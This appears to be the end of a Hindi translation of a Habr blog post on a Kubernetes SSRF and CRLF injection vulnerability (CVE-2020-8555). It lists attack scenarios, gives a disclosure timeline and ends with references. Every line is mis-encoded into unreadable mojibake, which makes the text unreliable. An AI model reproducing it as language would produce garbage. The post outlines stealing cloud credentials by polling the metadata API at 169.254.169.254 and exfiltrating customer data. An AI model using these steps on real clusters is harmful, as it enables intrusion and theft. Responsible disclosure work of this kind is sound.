- рдЖрдХреНрд░рдордг рдХрд╛ рдкреНрд░рдХрд╛рд░
рдкрд╛рд░реНрд╢реНрд╡ рдЖрдВрджреЛрд▓рди рдХреНрд▓рд╛рдЙрдб рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреА рдЪреЛрд░реА рдХреЗ рд▓рд┐рдП рдзрдиреНрдпрд╡рд╛рдж (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдПрдкреАрдЖрдИ)ред - рд╕реНрдерд╛рдиреАрдп рдиреЗрдЯрд╡рд░реНрдХ рдХреЛ рд╕реНрдХреИрди рдХрд░рдХреЗ рдЬрд╛рдирдХрд╛рд░реА рдПрдХрддреНрд░ рдХрд░рдирд╛ (рдПрд╕рдПрд╕рдПрдЪ рд╕рдВрд╕реНрдХрд░рдг, HTTP рд╕рд░реНрд╡рд░ рд╕рдВрд╕реНрдХрд░рдг, ... рдХрд╛ рдирд┐рд░реНрдзрд╛рд░рдг рдХрд░рдирд╛)ред
- рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдПрдкреАрдЖрдИ рдЬреИрд╕реЗ рдЖрдВрддрд░рд┐рдХ рдПрдкреАрдЖрдИ рдХреЛ рдкреЛрд▓ рдХрд░рдХреЗ рдЙрджрд╛рд╣рд░рдг рдФрд░ рдмреБрдирд┐рдпрд╛рджреА рдврд╛рдВрдЪреЗ рдХреА рдЬрд╛рдирдХрд╛рд░реА рдПрдХрддреНрд░ рдХрд░реЗрдВ (
http://169.254.169.254
,тАж)ред - рдХреНрд▓рд╛рдЙрдб рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЧреНрд░рд╛рд╣рдХ рдбреЗрдЯрд╛ рдЪреЛрд░реА рдХрд░рдирд╛ред
рдЙрдкрд▓рдмреНрдзрддрд╛
рдЖрдХреНрд░рдордг рд╡реИрдХреНрдЯрд░ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╕рднреА рд╢реЛрд╖рдг рдкрд░рд┐рджреГрд╢реНрдп рдЕрдЦрдВрдбрддрд╛, рд╡рд┐рдирд╛рд╢рдХрд╛рд░реА рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдХреНрд▓рд╛рдЗрдВрдЯ рдкрд░рд┐рдзрд┐ (рдпрд╛ рдХрд┐рд╕реА рдЕрдиреНрдп) рд╕реЗ рдорд╛рд╕реНрдЯрд░ рдЙрджрд╛рд╣рд░рдг рдЕрдиреБрдкрд▓рдмреНрдз рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред
рдЪреВрдБрдХрд┐ рд╣рдо рдПрдХ рдкреНрд░рдмрдВрдзрд┐рдд K8s рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдереЗ рдФрд░ рдЕрдЦрдВрдбрддрд╛ рдкрд░ рдкреНрд░рднрд╛рд╡ рдХрд╛ рдЖрдХрд▓рди рдХрд░ рд░рд╣реЗ рдереЗ, рд╣рдо рдХрдИ рдкрд░рд┐рджреГрд╢реНрдпреЛрдВ рдХреА рдХрд▓реНрдкрдирд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдЙрдкрд▓рдмреНрдзрддрд╛ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЕрддрд┐рд░рд┐рдХреНрдд рдЙрджрд╛рд╣рд░рдгреЛрдВ рдореЗрдВ рдЖрджрд┐ рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЛ рджреВрд╖рд┐рдд рдХрд░рдирд╛ рдпрд╛ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдПрдкреАрдЖрдИ рдкрд░ рдПрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдХреЙрд▓ рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред
рдХрд╛рд▓рдХреНрд░рдо
- 6 рджрд┐рд╕рдВрдмрд░, 2019: MSRC рдмрдЧ рдмрд╛рдЙрдВрдЯреА рдХреЛ рднреЗрджреНрдпрддрд╛ рдХреА рд╕реВрдЪрдирд╛ рджреА рдЧрдИред
- 3 рдЬрдирд╡рд░реА, 2020: рдПрдХ рддреАрд╕рд░реЗ рдкрдХреНрд╖ рдиреЗ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЛ рд╕реВрдЪрд┐рдд рдХрд┐рдпрд╛ рдХрд┐ рд╣рдо рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рдореБрджреНрджреЗ рдкрд░ рдХрд╛рдо рдХрд░ рд░рд╣реЗ рд╣реИрдВред рдФрд░ рдЙрдирд╕реЗ рдПрд╕рдПрд╕рдЖрд░рдПрдл рдХреЛ рдЖрдВрддрд░рд┐рдХ (рдЗрди-рдХреЛрд░) рднреЗрджреНрдпрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдорд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╣рд╛ред рдлрд┐рд░ рд╣рдордиреЗ рд╕рдорд╕реНрдпрд╛ рдХреЗ рд╕реНрд░реЛрдд рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рддрдХрдиреАрдХреА рд╡рд┐рд╡рд░рдг рдХреЗ рд╕рд╛рде рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рд░рд┐рдкреЛрд░реНрдЯ рдкреНрд░рджрд╛рди рдХреАред
- 15 рдЬрдирд╡рд░реА, 2020: рд╣рдордиреЗ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЛ рдЙрдирдХреЗ рдЕрдиреБрд░реЛрдз рдкрд░ (рд╣реИрдХрд░рд╡рди рдкреНрд▓реЗрдЯрдлреЙрд░реНрдо рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ) рддрдХрдиреАрдХреА рдФрд░ рд╕рд╛рдорд╛рдиреНрдп рд░рд┐рдкреЛрд░реНрдЯ рдкреНрд░рджрд╛рди рдХреАред
- 15 рдЬрдирд╡рд░реА, 2020: рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдбреЗрд╡рд▓рдкрд░реНрд╕ рдиреЗ рд╣рдореЗрдВ рд╕реВрдЪрд┐рдд рдХрд┐рдпрд╛ рдХрд┐ рдкрд┐рдЫрд▓реЗ рд░рд┐рд▓реАрдЬ рдХреЗ рд▓рд┐рдП рд╣рд╛рдл-рдмреНрд▓рд╛рдЗрдВрдб рдПрд╕рдПрд╕рдЖрд░рдПрдл + рд╕реАрдЖрд░рдПрд▓рдПрдл рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЛ рдЗрди-рдХреЛрд░ рднреЗрджреНрдпрддрд╛ рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред рд╣рдордиреЗ рддреБрд░рдВрдд рдЕрдиреНрдп рд╕реЗрд╡рд╛ рдкреНрд░рджрд╛рддрд╛рдУрдВ рдХреА рдкрд░рд┐рдзрд┐ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдирд╛ рдмрдВрдж рдХрд░ рджрд┐рдпрд╛: K8s рдЯреАрдо рдЕрдм рдореВрд▓ рдХрд╛рд░рдг рд╕реЗ рдирд┐рдкрдЯ рд░рд╣реА рдереАред
- 15 рдЬрдирд╡рд░реА, 2020: HackerOne рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ MSRC рдЗрдирд╛рдо рдкреНрд░рд╛рдкреНрдд рд╣реБрдЖред
- 16 рдЬрдирд╡рд░реА, 2020: рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдкреАрдПрд╕рд╕реА (рдЙрддреНрдкрд╛рдж рд╕реБрд░рдХреНрд╖рд╛ рд╕рдорд┐рддрд┐) рдиреЗ рднреЗрджреНрдпрддрд╛ рдХреЛ рдкрд╣рдЪрд╛рдирд╛ рдФрд░ рд╕рдВрднрд╛рд╡рд┐рдд рдкреАрдбрд╝рд┐рддреЛрдВ рдХреА рдмрдбрд╝реА рд╕рдВрдЦреНрдпрд╛ рдХреЗ рдХрд╛рд░рдг рдЗрд╕реЗ рдорд╛рд░реНрдЪ рдХреЗ рдордзреНрдп рддрдХ рдЧреБрдкреНрдд рд░рдЦрдиреЗ рдХреЛ рдХрд╣рд╛ред
- 11 рдлрд░рд╡рд░реА, 2020: Google VRP рдЗрдирд╛рдо рдкреНрд░рд╛рдкреНрдд рд╣реБрдЖред
- 4 рдорд╛рд░реНрдЪ, 2020: рд╣реИрдХрд░рд╡рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдкреБрд░рд╕реНрдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рд╣реБрдЖред
- 15 рдорд╛рд░реНрдЪ, 2020: рдореВрд▓ рд░реВрдк рд╕реЗ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдкреНрд░рдХрдЯреАрдХрд░рдг рдХреЛ COVID-19 рд╕реНрдерд┐рддрд┐ рдХреЗ рдХрд╛рд░рдг рд╕реНрдердЧрд┐рдд рдХрд░ рджрд┐рдпрд╛ рдЧрдпрд╛ред
- 1 рдЬреВрди, 2020: рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ + рдорд╛рдЗрдХреНрд░реЛрд╕реЙрдлреНрдЯ рдиреЗ рднреЗрджреНрдпрддрд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╕рдВрдпреБрдХреНрдд рдмрдпрд╛рди рджрд┐рдпрд╛ред
TL, рдбреЙ
- рд╣рдо рдмрд┐рдпрд░ рдкреАрддреЗ рд╣реИрдВ рдФрд░ рдкрд┐рдЬрд╝реНрдЬрд╝рд╛ рдЦрд╛рддреЗ рд╣реИрдВ :)
- рд╣рдордиреЗ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдореЗрдВ рдПрдХ рдЗрди-рдХреЛрд░ рднреЗрджреНрдпрддрд╛ рдХреА рдЦреЛрдЬ рдХреА, рд╣рд╛рд▓рд╛рдБрдХрд┐ рд╣рдорд╛рд░рд╛ рдРрд╕рд╛ рдХрд░рдиреЗ рдХрд╛ рдХреЛрдИ рдЗрд░рд╛рджрд╛ рдирд╣реАрдВ рдерд╛ред
- рд╣рдордиреЗ рд╡рд┐рднрд┐рдиреНрди рдХреНрд▓рд╛рдЙрдб рдкреНрд░рджрд╛рддрд╛рдУрдВ рдХреЗ рд╕рдореВрд╣реЛрдВ рдкрд░ рдЕрддрд┐рд░рд┐рдХреНрдд рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд┐рдпрд╛ рдФрд░ рдЕрддрд┐рд░рд┐рдХреНрдд рдЕрджреНрднреБрдд рдмреЛрдирд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рднреЗрджреНрдпрддрд╛ рдХреЗ рдХрд╛рд░рдг рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рдиреБрдХрд╕рд╛рди рдХреЛ рдмрдврд╝рд╛рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдереЗред
- рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ рдЖрдкрдХреЛ рдмрд╣реБрдд рд╕рд╛рд░реА рддрдХрдиреАрдХреА рдЬрд╛рдирдХрд╛рд░реА рдорд┐рд▓реЗрдЧреАред рд╣рдореЗрдВ рдЖрдкрдХреЗ рд╕рд╛рде рдЙрди рдкрд░ рдЪрд░реНрдЪрд╛ рдХрд░рдиреЗ рдореЗрдВ рдЦреБрд╢реА рд╣реЛрдЧреА (рдЯреНрд╡рд┐рдЯрд░:
@ReeverZax &@__hach_ ). - рдпрд╣ рдкрддрд╛ рдЪрд▓рд╛ рдХрд┐ рд╕рднреА рдкреНрд░рдХрд╛рд░ рдХреА рдФрдкрдЪрд╛рд░рд┐рдХрддрд╛рдУрдВ рдФрд░ рд░рд┐рдкреЛрд░реНрдЯрд┐рдВрдЧ рдореЗрдВ рдЕрдкреЗрдХреНрд╖рд╛ рд╕реЗ рдЕрдзрд┐рдХ рд╕рдордп рд▓рдЧрд╛ред
рд╕рдВрджрд░реНрднреЛрдВ
-
Google рд╕рдореВрд╣ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕-рд╕реБрд░рдХреНрд╖рд╛-рдШреЛрд╖рдгрд╛ ; -
CVE-2020-8555 ; -
рдЧреЛрд▓рд╛рдВрдЧ рдЕрдВрдХ #30794 ; -
heketi/client/api/go-client/volume.go .
рдЕрдиреБрд╡рд╛рджрдХ рд╕реЗ рдкреА.рдПрд╕
рд╣рдорд╛рд░реЗ рдмреНрд▓реЙрдЧ рдкрд░ рднреА рдкрдврд╝реЗрдВ:
- ┬л
рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдмрдЧ рд╣рдВрдЯ рдЖрдзрд┐рдХрд╛рд░рд┐рдХ рддреМрд░ рдкрд░ рдЦреБрд▓рд╛ рд╣реИ "; - ┬л
рд▓реЙрдЧ рдорд╛рдЙрдВрдЯ рдХрд░рдХреЗ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдореЗрдВ рдПрдХ рдкреЙрдб рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдирд╛ "; - ┬л
33+ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрдХрд░рдг '.
рд╕реНрд░реЛрдд: www.habr.com